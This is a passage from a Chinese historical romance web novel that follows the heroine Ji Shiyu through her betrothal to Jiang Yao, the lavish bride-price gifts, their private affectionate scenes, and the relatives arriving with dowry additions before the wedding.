她慈爱地抚摸姬时语的眼,“规矩是死的,可人是活的。”
姬时语的心受到莫大的鼓动。
她绽开俏丽的笑颜,应道:“好。”
府门外,楚王府的箱笼全然卸下,老楚王笑着大步跨入忠义侯府的大门,在他身后一行下人鱼贯而入。
舒氏亲迎上去,恭敬行礼,“见过老楚王殿下。”
姬时语紧跟随着母亲,朝老楚王行礼。
三房各位同样。
“侯府的众位,快快请起。”
老楚王哈哈大笑,虚扶舒氏又道:“今日乃是楚王府的下聘之日,五小姐素得云让的心,这门亲事我们王府再满意不过,真迫不及待想要迎新任的楚王妃回府。”
“多谢殿下抬爱小女。”舒氏笑回。
“不过云让的大事,本该由他母亲亦或父亲出面,但王府家事侯夫人清楚,实在没得法子才由我接手。”
老楚王犹感些许歉意,补道:“其一我身为云让的祖父,二也表了陛下的意思,今日连带宫中御赐之物一同送至侯府。”
舒氏讶然:“陛下竟如此看重侯府。”
“皇室亦许久不曾热闹。”
老楚王笑容满面,他摸了把花白的胡子,双目朝着姬时语射来。
姬时语便察觉一道温和的目光,落在她的身上,她乖顺的回以一个微笑。
“来,云让。”
老楚王朝后一挥手,是将江曜喊到跟前,“将你与五小姐合对的八字,交由给她一份,这可是你们小夫妻命中的缘分呐!”
姬时语轻轻抬起头。
江曜一步一步地走近,直至站定在了她近处。
她眼如弯月,浅笑颜兮,静静望着他。
江曜抬起手来,骨节分明的手指捏着一张红纸。
“阿锁。”
江曜的嗓音还透着一抹伤后未愈的沙哑,他狐狸眼微垂,复而抬起。
牵起唇角的欢喜,面容拢起薄红的愉悦。
“这个给你。”
江曜将红纸递给了姬时语。
姬时语刚要抬手接下,她的指尖碰触到了江曜的指腹,红纸松落,掉在她的手心。
江曜亦是握住她的手。
身旁仍有长辈在,祖母姬老夫人、母亲舒氏、三房的婶娘何氏,江曜的祖父老楚王,还有两位姐姐,俱是端望两人。
被如此堂而皇之的拉扯,拽住手指,姬时语脸皮薄,耳根霎时热气滚烫,脸红害羞。
她欲抽回手。
江曜又拉紧几分。
“阿锁,你不先瞧一眼吗?”
江曜牵住她的指尖,狐狸眼偷笑,他小心翼翼的期盼。
姬时语脸红耳更红,很想垂头躲闪,奈何这事不过,便是过不去了。
她只好硬着头皮翻开红纸。
其上八个字。
金玉良缘,天作之合。
头顶响起江曜清冷的嗓音,他话中染着笑:“连八字算出来,我们这一世都是天注定的夫妻。”
这天底下,也就是江曜行得出离经叛道之事。
她怎么就招惹了这样一个人。
还就喜欢上他呢?
“应了老天的话,不论前世,还是今生,亦或是下一辈子,命中我只会喜欢上你。”
江曜的狐狸眼挑起,十分愉悦:“阿锁,除非我死,除非你死。”
闻言,姬时语眉眼染上春意,明媚如许。
江曜大放厥词,说着怖人的恐怖话语,又是生啊又是死的,像有些不吉利。
但姬时语早明晰他的脾性,江曜性子乖张,这便是他能说出口的,最郑重的心意。
连死也要同处。
只有同死,没有分离。
第127章
“阿锁。”舒氏唤了一声。
姬时语忙从羞怯之中摆出情绪。
她抽回手,喏喏跑去舒氏那头,乖乖巧巧地候在自家娘亲身侧。
舒氏笑着与老楚王道:“劳烦楚王府寻钦天监大人,两个孩子能得此良缘,是两府之幸。”
“是啊,事不宜迟,还是早些让聘礼入府吧。”
老楚王笑
声爽朗,喊了江曜过来,“红封亲自送了,还不让他们将箱子抬进侯府?”
江曜的狐狸眼微光一拂,他专注的目光跃过姬时语薄红的小脸,抿着笑意便回身往府外走去。
“王爷。”
楚王府的周管事恭敬走上前,他以眼神向老楚王问询,待得老楚王点头应许后,便朝舒氏双手捧上一封册本。
“侯夫人,这是王府的聘礼,请您过目。”
舒氏接过聘礼单子,她摊开仔细翻阅,越看下去,越是满目震惊。
“这……”
良久之后,舒氏蠕动唇瓣,凝望着老楚王微微发怵,“王爷,不是三十台,而是六十抬,这可是不合规矩?”
“六十抬?”
何氏走近,瞥眼舒氏手中的册本,再抬眼朝府外一箱箱搬至府内的箱笼,顿感吃惊不已。
寻常人家下聘,三十多抬已是品物繁多。
头几年宫中两位皇子娶妃,送去的聘礼便是四十抬。
这楚王府竟要越过皇子妃?
何氏左思右想,复而恍然,她笑起来,攀住舒氏的手便道:“大嫂,语姐儿将来要做的是亲王妃,是要比之皇子殿下们要盛些。”
“不错,不错,侯夫人莫要忧心,此事我亦有请示陛下,这不,陛下还御赐了五抬为楚王府添聘礼。”
那厢老楚王摸着花白胡子,他笑眯着眼,静望江曜使唤着下人们将聘礼尽数抬入。
珠宝、绫罗绸缎锦绣纱、珍贵香料不必多说,足有二十抬。
舒氏只是一望册本,如苏合香、迦南香皆作斤而量,月华锦这等千金难求的上等绸缎,更是多有二十匹。
古玩器具大件可占地方,方一抬入前院,连前院之地亦被挤占满。
“天呐,竟还有东珠?”
何氏端详着手边一处箱笼,其中的深海东珠似要亮得晃花她的眼。 :
姬时语疑窦喊她:“三婶娘?”
旁的小姑娘是一概不知,但京中常年掌家的贵妇们一眼便知晓,东珠之名贵。
番国供奉的珍贵之物,东珠并非最稀罕的,但若是个头比之人拇指大小的深海东珠,便是宫里的娘娘们,也难得一颗。
楚王府送来的聘礼中,是整一小箱匣的东珠,颜色还形色各异。
何氏不免惊呼出声,里头竟还有从未见过的黑珍珠。
舒氏亦是惊叹,“稀世珍宝啊……”
姬时语后知后觉,她小脸侧了侧,狐疑朝江曜打量过去。
目光之下,江曜正命下人们将弘文帝御赐的几个箱笼抬进前院。
她不禁思忖:江曜不会将楚王府搬空了吧?
这一起念头,姬时语便是浑身打了个激灵,她缠住舒氏的手腕,问道:“娘,这样之多的聘礼当真不会惹人眼吗?”
“唉,不会的。”
舒氏作了同想,不过她拍拍姬时语的手,“王爷说了,这是得陛下应准的聘礼数。”
江曜让人轻手轻脚将御赐金丝木箱笼放置地上。
而后,他便送来一本金箔绘制的凤舞九天礼书。
“这里头记载了陛下御赐的珍宝,夫人也请收好。”
舒氏应了好。
姬时语瞪目结舌。
一双猫瞳便顺着那本金灿灿的礼书,落于舒氏的手心。
宫中的东西便是名贵啊,不说陛下御赐的玉如意也好,还是国库珍藏的贡物也罢。
只是这一本明黄礼书,姬时语心觉能值黄金千两。
何氏四下环顾,这一趟下聘,是将侯府的前院塞得满满当当,她好笑问舒氏:“大嫂,还不知府上的库房,可能容纳这么多的物什。”
“再寻个空落的院子放置吧。”
舒氏无奈叹口气,她向老楚王再度道谢,“王府厚爱小女,我们定会好生保管聘礼。”
“侯夫人,慢着。”
老楚王话锋一转,“还未完呢。”
舒氏不解。
姬时语朝侯府门前眺了一双明媚的眼。
春光明动,微风拂来,吹散开她额前的几缕碎发,视野之中,几声马匹嘶鸣如空袭入众人的耳。
比名贵珍宝更震撼人心。
楚王府竟还牵着四匹汗血宝马来下聘!
小姑娘彻底傻眼。
……
午时一过,姬如萍姐妹在姬时语的韶华院歇息,两人说起早上楚王府下聘,是直笑个不停。
“那时候五妹见到活马一入内,一双眼直溜溜的,都不会转了。”
“谁不吃惊啊,那可是汗血宝马诶!别家下聘是带大雁、鸳鸯或是鹿皮,楚王府一出手,便如此阔绰,我真是大开眼界。”
“聘礼品物众多,是王府看中五妹,但侯府的嫁妆便也得只多不少。”
姬如蕊刚说完,姬如萍却突然蹙眉发了愁,转而道:“我记着五妹绣活不好……”
姬时语捧着莹白的下巴,水亮的眼睨来。
她还未应答,萍亭便先行入了屋中,朝着三人禀报说道:“江大人来了。”
“楚小王爷要见五妹?”
姬如萍转瞬便瞧姬如蕊,姬如蕊心领神会,笑意晃晃,她牵住她双胞胎姐姐的手,“那三姐,我们先不打搅楚小王爷和五妹。”
“三姐,四姐。”
姬时语喊了两人,姬如萍姐妹却回以笑脸,几下调侃意味浓郁,两人是相携抬脚离开内室。
只留给姬时语一道轻悠悠的声音。
是两姐妹在院外同江曜见礼,喊了他“楚小王爷”。
下一刻,身穿墨色宽袖蟒袍的江曜便大跨步入姬时语的屋子。
他个头高大,每每闯入姬时语的韶华院。
都会在眨眼之间,显得她屋子逼仄起来。
小姑娘还未动,江曜沉寂的墨瞳稍一偏移,便锁住了内室珠帘之后的她。
“躲着作甚?”
江曜大步走来,抬起手撩开珠帘,他唤她:“阿锁,你让我好找。”
“江曜,我还在同姐姐们说话呢。”
他不管不顾地闯入,姬时语忆起两位姐姐走前戏谑的笑眼,又对江曜来气。
先前当着老楚王和舒氏几位长辈,江曜便固执地亲昵她。
清冷容貌顷刻便近在咫尺,江曜每日每夜只要能见到她,便想同她亲近。
他将脸凑过来,想贴上小姑娘柔软的脸蛋。
姬时语却挡住他的再度亲密:“之前怎么应我的,你得分时宜不是吗?怎么一点也不顾着长辈和我的姐姐们。”
“阿锁,不可冤枉我。”
江曜的狐狸眼摆正,他是十足认真的架势,一字一句道:“早上老王爷叮嘱过我,让我将东西亲手交给你。”
可姬时语不好意思的哪儿是这个?
小姑娘垂下头颅,微微裸_露在江曜眼皮之下的玉色脖颈染上粉意,她又哼哼道:“你让姐姐们都在笑话我了。”
“她们不是笑话你,是在恭贺你要嫁给我做王妃。”江曜言辞凿凿。
姬时语理论不过江曜。
毕竟谁让他一向脸皮厚,但凡与亲密之事沾上一星半点的,他总能寻得由头。
“我不管,我就要气你的。”
姬时语推搡江曜的胳膊一把。
江曜怔愣半晌,他沉默了,薄唇微抿,墨色眼瞳低垂。
他问:“真的吗?”
姬时语未反应过来,跟前的江曜忽然直起身,他手臂一抽,从姬时语手里脱离。
“我明白了。”
江曜孤零零地落下一句:“阿锁像是不乐意见我,今日我又惹你气恼,那我回府。”
他的宽袖飞扬,那条银线勾出的蟒蛇似在岫上飞舞。
江曜作势朝外走去。
姬时语一听,顿时着急。
眼见那道墨色身影要跨屋而去,她顾不上便扑过去,拽住江曜的劲腰。
“不要走!”
“你不是说不愿见我吗?”
江曜拨弄开姬时语的手,他嗓音如云间山雾,含了沉色。
“我何时说过?你总无端揣测我的意思。”
小姑娘死活不撒手,将江曜后抱的紧紧的。
她是嘴硬心软的主,虽说道了江曜两句不是,可也真想念他,想的不得了。
能见上一面 ,姬时语如何会不欢喜?
江曜顿住步子,他闷声道:“那就是,阿锁想留我的意思了?”
“我……”
“是不是?”
“嗯……”
姬时语小脸红红,艰难的吟声从唇齿发出。
江曜回身,双臂舒展,只是一下,便将她留有玉兰花香的身子抱入怀中。
他轻笑起来,笑声是从心腔口不断回转、荡漾。
“我们已是未婚夫妻,你还这样害羞呢。”
姬时语被他禁锢住细腰,他用了力,是绝不让她离开半分。
好在两人彼此熟悉,她早已习惯他的亲密。
她哼哼:“是哥哥一刻也不舍得。”
“因为我想你了,阿锁。”
姬时语羞得耳朵滚烫,她赶忙抱住江曜的腰,将面颊埋入他的胸膛,再不抬头。
江曜垂下头,蹭上她乌黑的发顶,低低沉沉的话音便在上首响彻。
“阿锁,想不想我呢?”
“我不想!”
姬时语死鸭子嘴硬,她在江曜胸前抬起头,一双猫瞳澄澈明亮,她哼道:“我好讨厌你呀,你太坏了。”
“又想让我走?”
江曜钳制姬时语的双手像要松开,她在他怀中眼神发慌,抬手圈住他的脖子,便紧紧贴过去。
“做何抱我这样紧,怕我走了?”江曜眼眸笑意深深。
“哥哥,不准你走。”
姬时语面色赤热,她忍着羞意,学起江曜平日逗弄她的话。
“不要嘛……”
“刚你不还嫌弃我?”
“我可没说嫌弃二字。”
“那便是口是心非。”
江曜笑道:“阿锁的讨厌我,原来是喜欢我的意思啊。”
“你莫要管!真的好讨厌。”
“那阿锁想我怎么做?”
姬时语踮脚,她眼波流转,娇俏动人,她对江曜下了命令。
“要你抱着我。”
江曜便顺从于她,双臂卷上,他托起姬时语的腰肢。
他的掌心微热,小姑娘并不重,他随意用力,便能将她抱起。
他是要姬时语与自己平视才好。
这般下来,姬时语很是满意,她笑着与江曜撒娇:“哥哥真好呢。”
江曜见她玉脸薄红,明媚勾人,朱红的唇瓣一开一合,在他眼前晃动着,无声说着讨要亲吻的话。
他径直朝前探头,叼住姬时语的红唇。
“张嘴。”
不等姬时语察觉,她唇瓣已下意识启缝,便十分热烈地迎接江曜的闯入。
姬时语又是一惊。
“阿锁……”
唇上一痛,江曜的齿尖飞快贴近她,只是一记,她的舌尖被咬得吃痛。
亲吻愈发之深,姬时语的喘息加重,她断断续续地冒出难言的字眼。
“气……呼,呼不上。”
江曜松开唇,姬时语因此得了空,大口吸气。
可是她的唇瓣一张开,那块软肉便微微的颤抖,娇艳欲滴的水渍落在红唇,比未亲吻时还要勾人。
江曜眼眸暗沉,他再度亲了上来。
他咬住姬时语软甜的下唇瓣,换作轻轻的吻她。
第128章
缠绵的吻终是了毕。
江曜拥着姬时语柔软的身躯喘着气,温存地蹭她的额头。
姬时语脸颊生起粉意,却没拂开他的动作。
“江曜……”
姬时语想到江曜身有伤口,忙爬起身不敢再压他身上,作势便摸上他的胸膛,问他:“伤好的如何了?”
江曜狐狸眼一睇,牵起姬时语的柔荑,“不疼了。”
“当真?”
姬时语半信半疑,举起另一只手,便用指尖摁压了他一道。
不成想,江曜便发出一声低沉的撕声。
“好阿锁,莫要弄疼我。”
江曜又捉住姬时语的手,这下子,是连她一双素手全包在手心。
他用胸膛贴过来,轻轻柔柔地覆在她身上。
好似想以小姑娘馨香柔软的身躯,抚平方才的痛楚。
姬时语没好气地哼哼,“刚不知是谁说的好的大全,已不疼了的。”
江曜直道:“我没说过。”
“真不想搭理你的。”
江曜喜爱她粉面玉肌,伸出手指揉捏她的脸蛋。
小姑娘白软的脸很好戳,江曜每戳一下,那处凹陷下一刻便回软软弹起,再触及他的指尖。
江曜还要摸,姬时语却飞快偏离了他的手。
“你还要摸我。”
姬时语见他耍赖,鼓着脸便瞥到一边,“罢了,疼的是你不是我,随你。”
“阿锁是心疼我,我知道的。”
“那你还不听我的?”
“可我不来忠义侯府,便见不到你。”
江曜恢复一贯清冷认真的神色,他垂下眼睑,环住姬时语腰肢的手臂收紧一分,嗓音低吟。
“你让我在王府养病,可今日乃是下聘之日,我不来的话,外头只会非议你。”
姬时语猫瞳顿着水光,“江曜,我不介意这些,我只想你身子康健,日子是你我一起过的,不是吗?”
“可我介意。”
江曜抬起阴郁的狐狸眼,他的沉色毫不遮掩,“我介意的不得了,事关阿锁的任何事,我都不愿意听得风雨难消。旁的我管不着,但你嫁给之人是我,我江曜便决不容许你嫁给我这条路上,有任何的差池。”
姬时语听得他的满腔真心,内心亦是喜悦蓬发。
他喜欢她,用尽全心地待她好,细枝末节亦考虑周到。
她如何不知足?
姬时语回抱住江曜的腰身,头颅便靠入他的肩窝,俏生生地撒娇:“哥哥,你再等些时候,我便去王府陪你。”
“可是,还有六个月。”
“只是六个月而已,我娘也说了,你我婚期已是很仓促的。你听话,耐心些等,好不好?”
江曜闻言,眸子一沉,他撩起姬时语的发丝,指腹顺势抚摸她的耳,碾了碾。
“我已等了好多个六个月,太久太久了。”
江曜不知是在同姬时语说,还是在自言自语。
“六个月,你再等等呐。”
但姬时语还是在他怀中抬头,她踮脚跟小鸡啄米似得啄了一口江曜冷硬的下巴,猫瞳笑弯了眼。
“阿锁,我想每日睡醒便能见到你,想亲你、抱你。”
江曜拥住她的身子,温热的掌心在姬时语后背滑动。
稍一停留,手掌朝下便是轻抚在她的腰侧,他揉揉她的腰窝。
他说:“想与你同床共枕。”
如此直白的,不遮掩的,赤_裸_裸的说出了这句话。
不是睡觉,而是那日暗室之中两人还未完成的。
情_动深时,姬时语主动握住了他的,亦是渴望他的事。
姬时语好不燥热,浑身滚烫,一张脸通红。
她恼火的从江曜怀里跳出来,哼了又哼。
“不要脸!不准你再说第二遍。”
……
闹归闹,姬时语还是纵容江曜在韶华院待了近两个时辰。
其间他几番厮磨,抱着姬时语说悄悄话,是真把小姑娘说的脸皮染红。
好在江曜没太过分,只在两人独处时,故意逗弄姬时语,多动着嘴皮子,并未上手。
眼见时辰已到,王府的聘礼已收入侯府宅院,江曜需得跟随老楚王回府了。
姬时语便推着江曜走。
离行前,江曜不忘将怀里的小匣子递给姬时语。
“这是何物?”
姬时语好奇打量,黝黑方匣表面空无一物,连一处花纹也无。
江曜道:“你打开瞧瞧。”
姬时语便翻开盒子。
盒中摆放着一枚黑玉,黑玉之下是几张纸薄,并不厚,但姬时语已敏锐地察觉此物来头不小。
巴掌大的黑玉被姬时语握在手心,这枚黑玉质地醇厚,无一杂色。
摸上手时光滑润腻,是上乘之品。
姬时语再翻动其下的纸薄。
“这……”
她瞪大双目,瞧江曜的眼不敢置信,“你怎将自己名下的田产都给我了?”
“阿锁嫁给我,自然便要给你的。”
江曜唇角轻扬,“这些是我的私产,
楚王不知情。”
算上江曜今日刚入韶华院,便让萍亭萍柳收好的一套金嵌宝石头面,那头面琳琅满目各色宝石雕琢,华贵无双。
与眼前的这一方盒。
皆为大手笔。
姬时语眼皮打颤,她想推盒子回去,“你手上可还有余银?不能掏空你了吧?”
“阿锁是担心我事后养不起你?”
江曜笑开了,不过他既然说出此话,便是还有旁的店面田宅,姬时语便无需为他忧心。
她听出言外之意,哼笑便道:“是啊,我可不想嫁给你,还要拿我的嫁妆补贴家用呢!”
“这就摆出小管家婆的姿态了。”
“那是,谁让你要娶我,往后便得由我管着。”
姬时语翘起琼鼻,灵动勾笑,好不得意。
“那些都还好说,这个东西,你一定要保管好。旁的丢了,也不能将此物弄丢。”
江曜抬起手,将黑玉放置于姬时语的手心,又上手将姬时语的五根手指卷起包住。
看他郑重其若,姬时语回问道:“这个,是做何用的?”
“是楚王府历代王妃的凭证。”
“那先王妃……”
“这是楚王交给我的,他要我带给你。”
提及胡氏,江曜眼底划过一抹厌弃,他补道:“楚王并未给过胡氏,如今给了你,老楚王和楚王心中已认可你入楚王府为王妃。”
原来这黑玉是这般的沉甸甸。
姬时语明晰黑玉珍贵,便捧在心口,握紧了。
……
忠义侯府与楚王府的婚事已定,合过八字,楚王府的聘礼送至侯府,余下便是候着这大婚之日。
姬如萍和姬如蕊过门寻姬时语,为的便是替她准备嫁妆搭一把手。
两位姐姐心知姬时语绣活手艺不好,两人问舒氏要来了嫁妆清单。
又从中挑出需准备的绣花样式,打算回头便替姬时语绣花。
江绸绫袜与各色绣花鞋,还有绣五福捧寿或是百蝶穿花等各种吉祥的花样,姬如萍与姬如蕊应承着两人来准备。
而这之中唯有大红色的红盖头,是姬时语主动包揽的。
虽说舒氏担忧小女儿不会绣盖头,但姬时语已是下定决意。
因此,姬时语便再不出府,安心备嫁。
她的绣花是拿不出手,但一个红盖头,费心再费时日,终归还是能做出极好的一张绣面来。
姬时语安心学着刺绣,一个月的时日,她只绣出牡丹鹅黄的花蕊来,连花瓣雏形还未绣出。
舒氏来看时,不忍拂了小姑娘的心意,笑着夸她:“阿锁做的极好。”
姬时语信以为真,喜滋滋地琢磨着绣花。
忠义侯府内其乐融融,侯府之外诸多津津乐道,皆由萍柳带话传入姬时语的耳。
那日楚王府前来下聘,姬如萍与姬如蕊临走前,告诉姬时语,大皇子曾为求娶她,跪求到弘文帝的跟前。
谁料三皇子横来插足一脚,令这潭浑水更浊。
两人相争,势必不让皇子任何一党得到忠义侯府的助力。
因而楚王府在这时候出现,竟解了弘文帝的燃眉之急。
忠义侯姬雄武为袒护爱女,甘愿交出兵权,也不答应将小女儿嫁给江承运、江承北其一。
而侯府与楚王府关系交好,全因江曜与姬时语青梅竹马一同长大。
皇帝几番考量,终将姬时语赐给江曜。
可是这一日,萍柳匆忙归院,满目焦灼。
小丫鬟跑得是气喘吁吁,站也站不稳,攀着隔扇门出言禀报。
“小姐,江大人同大皇子在街上打起来了!”
彼时姬时语正执着绣花针穿线,她指尖缠绕着藕粉色的丝线。
一个不察,丝线勾紧,便在她手指勒出一道红痕。
她嘶了一声。
萍亭瞪眼:“莫要大呼小叫,说清楚些。”
“是大皇子当街撞见了江大人,出言不逊,他扬言我们小姐本该是他的妃,却被江大人横插一脚,夺走他的妻。江大人一怒之下,就朝大皇子拔出刀来。”
“这话可真当不要脸!”
萍亭立即咒骂,“小姐真议亲也只与如今的楚小王爷,曾经的江大人一人有过亲事,何来成了大皇子的妻?”
“大皇子妃才过头七,奴婢亲眼见苏家诉苦无人问津,太惨了。”
萍柳频频点头,言语夹杂了厌恶:“这会儿他又来恶心我们小姐,莫过于皇室之人无情。”
“全是利益熏心之辈。”
姬时语刚欲起身,小姑娘水眸一转,直愣愣地追问了一句,“哥哥杀了大皇子吗?”
“啊?”
萍柳被问蒙了,她不懂自家小姐怎这样的直白,旋即应道:“没……江大人没杀人,二皇子亦在场,给挡了。”
“没杀人,那便罢了,不必理睬。”
闻言,姬时语落座回梨花圆木椅中,手指的丝线松开一刹。
她执起,又细心穿起线来。
萍柳吃不准姬时语的态度,小心翼翼问:“小姐,不怕江大人触怒大皇子吗?”
“这人能说出这世间如此滑大稽、不要脸的话,便不要怪旁人动怒,他惹的是楚小王爷,是我日后的夫君。”
姬时语为江承运而冷笑,小姑娘面上唯有冰霜似得浮光,连细小绒毛亦是这般。
“哥哥为我讨的脸面,杀了他也是该的。”
许是和江曜相处久了,久而久之,姬时语的心也变得冷硬。
江承运羞_辱于她,她便觉着江曜若能杀他,也是好的。
一晃五个月便是飞逝而过。
春去秋来,眨眼便是夏末初秋,时日临近九月。
树叶尖尖由绿冒黄,萍柳在院里清扫着落叶,边说着,“院里的鸟儿来的多了许多只,也不知怎么的,今年的秋日总比往年吵闹些。”
萍亭笑道:“怕是喜鹊报喜,来为的小姐道贺呢。”
“说起来,那汗血宝马怎么着,可养的还好?”
“好的不能再好,王府送来的活物,府上可不敢怠慢,你是没见小姐时不时跑去马厩,就是怕这宝贝出岔子,不好交代。”
楚王府下聘之日送来四匹汗血宝马,就养在忠义侯府,原本这些名贵马儿是由侍卫统领杨林照看。
奈何姬时语隔三差五跑去马厩喂,愣是给汗血宝马养膘了一大圈。
那时杨林还派人寻来韶华院,恳请五小姐少去几日。
萍柳便跟着笑开。
隔扇窗中,姬时语正坐在书案,认真地提笔写着一副又一副的请帖。
刚写完送去给杜南霜的,小姑娘明媚的猫瞳往手边的篮子觑眼。
那里头有一张叠好的朱红盖头。
绣花牡丹折起,只露出徐徐花蕊,花色漂亮。
姬时语抬头便又望了一眼天。
秋日是真的一晃便至了。
这也意味着,再过几日,便是她的大婚之日。
前两日,舒氏得了岭西的来信,姬合英在信中写道,她已动身启程返京。
路途之中会去一趟舒家,接上舒老太爷与舒老夫人一同归府。
听闻忠义侯府要与楚王府定下姻缘,舒家的两位再坐不住,这回不论如何也要归京。
姬时语算着日子,姐姐和外祖父、外祖母应该到了。
萍柳入屋,她提来一方竹制箱笼。
这箱笼看似不沉重,可萍柳半拖半拉的,还是弄得气喘吁吁。
“小姐,是谭家少奶奶送来的绣布。”
箱笼之中尽是姬如萍这些时日,尽心尽力为姬时语做的绣花补子。
她与姬如蕊合力,六个月做出近三箱笼的绣布,可真帮了姬时语大忙。
姬时语心口布满动容。
“这回可太劳累三姐和四姐了。”
萍柳收敛起箱笼,与房中这六年姬如萍、姬如蕊姐妹积攒下来的,放置于同处。
待过后一并送去并入嫁妆。
“小姐,您快去府门口。”
屋外萍亭喊出声:“大小姐与舒家人回京了。”
第129章
舒老夫人年已六十,却丝毫不显苍老,发髻半白半黑,白发如同银线织布于发间。
她身上披着一件福禄寿喜的上袄,衬得人更为端庄富态、和善慈祥。
姬合英将将搀扶舒老夫人下马车,姬时语已提着衣裙赶到。
望见舒家人,她喜笑颜开,小跑着喊。
“外祖母!”
舒老太爷在旁回了头,只听得一声“外祖母”,惹得他吹鼻子瞪眼,哼道:“阿锁眼里只见得外祖母。”
姬时语霎时笑开,小脸如花绽放,乖乖挽住舒老太爷的胳膊,“外祖父,你身子还很康健啊。”
“你还盼着老头子我不好?”
舒老太爷埋汰。
姬时语立马改道:“哪儿会?我只望外祖父寿比南山。”
“得了,我可活不到千年王八那个岁数。”
“那外祖父的意思是?”
“阿锁的学问不到家,真不知道你娘平日如何教导你的,这日后嫁去楚王府如何得了。”
舒老太爷已是须发半白,却毫无龙钟老态,精神如斯抖擞。
与姬时语拌嘴时,笑声尤为高亢。
“好了,老头子少说两句吧,你早已卸任,不是那等日日教人的太保舒大人。”
舒老夫人摇摇头,止住了舒老太爷的教诲。
“父亲,你就莫要同阿锁嘴硬,她说的又不错,哪里还需要再重学规矩?”
舒氏笑看舒家的一双爹娘,哄着舒老太爷便说:“我看是你太吹毛求疵,好容易入京一趟,少费些心吧,舒舒坦坦的过几日。”
“好啊,舒容华,我还没数道你的不是呢,你伙同老婆子搜罗走我多少古书,气煞我也!”
舒老爷子气得胡须一愣一愣,双目炯炯有神,为这事他可不是一般的执拗。
舒氏愣住,忙问舒老夫人:“母亲,你如何哄骗的?”
“咳……”
舒老夫人轻笑压低了声,“两杯杏花酿,他醉倒凡事皆招,连私房钱藏的地儿也让我给找出来了。”
舒氏忍俊不禁,莫怪舒老太爷生那样大的脾气。
“外祖父。”
姬合英接过话茬,笑问舒老太爷:“外祖母送来三箱古书,一箱做了我的嫁妆,还有两箱是给阿锁添妆,您不会为追回古书,特意拉上外祖母回京吧?”
舒老太爷一吹胡须,气笑看她:“我是那样小气的人?”
姬时语和姬合英对视一眼,姐妹俩从彼此目光中看见了同话。
因而异口同声笑喊:“是啊,外祖父。”
“得,得了。”
舒老太爷被说的脸皮燥热,下不来台。
他一摆手,没好气哼哼:“送出手的东西,我不屑要回,再说了,阿锁要嫁去楚王府,我们舒家该添妆就添妆。”
舒老夫人最是懂得自家老头子的心,笑声四起,“好了,老头子放宽心些,咱们回京不还有要事要做?”
“什么要事?”舒氏问。
舒老夫人笑得盎然,“你爹吵着闹着非要见楚小王爷,要不是如此,他还不愿一番折腾,跑回京来。”
“怎还要见云让?”
“这不是阿锁要嫁去楚王府,老头子一听是皇室的人,哪里坐得住。”
舒老夫人还想解释,舒老太爷已没了耐心。
他甩袖正欲回马车,转身朝舒氏还有一双女儿留了句话。
“我们今日不住侯府,舒家在京城还有宅院,待阿锁大婚之日,我们再来。”
舒老夫人瞥眼舒老太爷隐去的背影,拉着舒氏说:“你爹要面子,做不出住女儿家中的事,不必担忧我们,这几日就让合英多跑几趟吧。”
“外祖母,你且安心。”
姬合英点头应。
姬时语搀着舒老夫人的手,舒老夫人笑道:“合英是好孩子,你和阿锁都是舒家的骄傲。”
舒家的两位老人只在忠义侯府门前逗留片刻,与舒氏几人道了几句话,便折返回府。
舒氏知晓爹娘不愿留宿侯府,遂命丫鬟去传达给姬老夫人,也免得姬老夫人心生芥蒂。
舒家此行入京,不光是为姬时语添妆,舒老太爷亲自到场,还为替姬时语撑腰。
“阿锁,来,外祖一家还给你带了物什,再过几日便是你的大婚之日,要多添点妆。”
姬合英牵着姬时语的手。
姬时语眼望姐姐使唤下人们从马车之中抬出一箱又一箱的箱笼,目瞪口呆。
姬时语诧异:“还有这么多?”
“走,我领着你一一过目。”
姬合英往侯府门内走去,姬时语跟上她的脚步,关切问道:“姐夫还在岭西吗?”
“他这两日启程,会赶上九月初九的。”
这回姬合英奉舒老夫人之名,是要将舒家的添妆先行送到侯府的库房之中。
“看,便是这个。”
姬合英翻开箱笼,一双织金镂花的蜀锦绣花鞋赫然呈现。
玉珠制成彩蝶落在鞋面之顶,色泽艳丽,光华万丈。
“好美的鞋子。”
姬时语舍不得触碰,姬合英忙不迭问道:“你的婚鞋可有定下?”
“娘为我择了一双。”
姬合英飞快瞥向舒氏,“娘,不如换一双,可好?”
舒氏了悟她话。
“阿锁,外祖母想你大婚便穿这一双成亲,你意下如何?”
姬时语自然是应:“好,我愿意的。”
“阿锁,还有我们的呢,姐姐自然也要来给你添妆啊!”
姬合英也取出她与薛家的心意,两箱的绫罗珍宝,为她的妹妹姬时语添妆。
岭西离大陇近,不时便有外邦商队入城,因而稀罕玩意繁多。
其中还有一只西洋铜镜,和木制八音盒,这在当地都是千金难求的物什。
但姬合英心知姬时语定喜欢这些小东西,想方设法也要给她弄来。
“阿锁,央金还托我将她的心意带给你。”
姬合英呈来央金的箱笼,里头摆放着独属于大陇之地的各色金银首饰,与近二十匹色彩不一的布料。
姬合英再度递来一封金边书册,她叹息一口,却还是笑道:“她想说的话都在这里了。”
姬时语接过,摊开一看。
这封书信由大陇语而写,央金特意注明其中含意,她写下弥拉与赫舍的故事,并衷心祝愿她二人喜结连理。
在信的最后,她写道。
兰闺福茂,凤卜遐昌。
“她为何没入京来呢?”
央金待她真心,姬时语便早将央金视为朋友,“若是她在,那便更好了。”
“央金自认她乃大陇的俘虏,便不想给你和楚王爷惹来祸端。”
央金没来,姬时语感到很是遗憾。
……
所谓添妆,不止舒家赶着入京送礼。
眼见九月初九的大婚之日愈发接近,姬时语的几位手帕交便也携礼前来忠义侯府。
已是成婚的姬如萍与姬如蕊姐妹,除却帮姬时语做了诸多绣活,两人还拿出私房钱,为她购置了一套头面。
而尚书府的小姐曾宝仪,送来的是一扇镀金雕玉的花型扇。
“阿锁,这是我送你的。”
杜南霜则端来一双抱福瓷娃。
红脸白皮的娃娃活灵活现,仔细端详还有几分姬时语儿时的模样。
姬时语笑开花,“你上哪儿找来的瓷娃娃?”
“这就不同你说了,我有的是法子。”
当年杜南霜寻得稀奇古怪的话本子,如今便能掏出更稀罕的玩意。
不光如此,杜南霜还拿出一对玉雕。
这回是更像她的。
但凡长眼之人,都能瞧出这一对小姑娘小少年,刻得便是姬时语与江曜。
“这?”
杜南霜解释道:“这是于策安送来的,他祝贺你大婚,收下吧。”
出乎意料的回答,由不得姬时语多想,两对娃娃便入了她怀中。
“阿锁,还有我呢!”
已嫁入昌平伯府的沈安乐也带来她的贺礼。
是漳州所产的美酒,柏叶酒。
同样的,沈安乐代她兄长沈南怀,赠上一副寓意美好的《山水戏图》。
望向闺房之中一行人目中的贺喜之意,姬时语感怀心切。
她的眼眸如水,唇瓣微挑,生了许多笑意。
“你们的贺礼我收下了,多谢。”
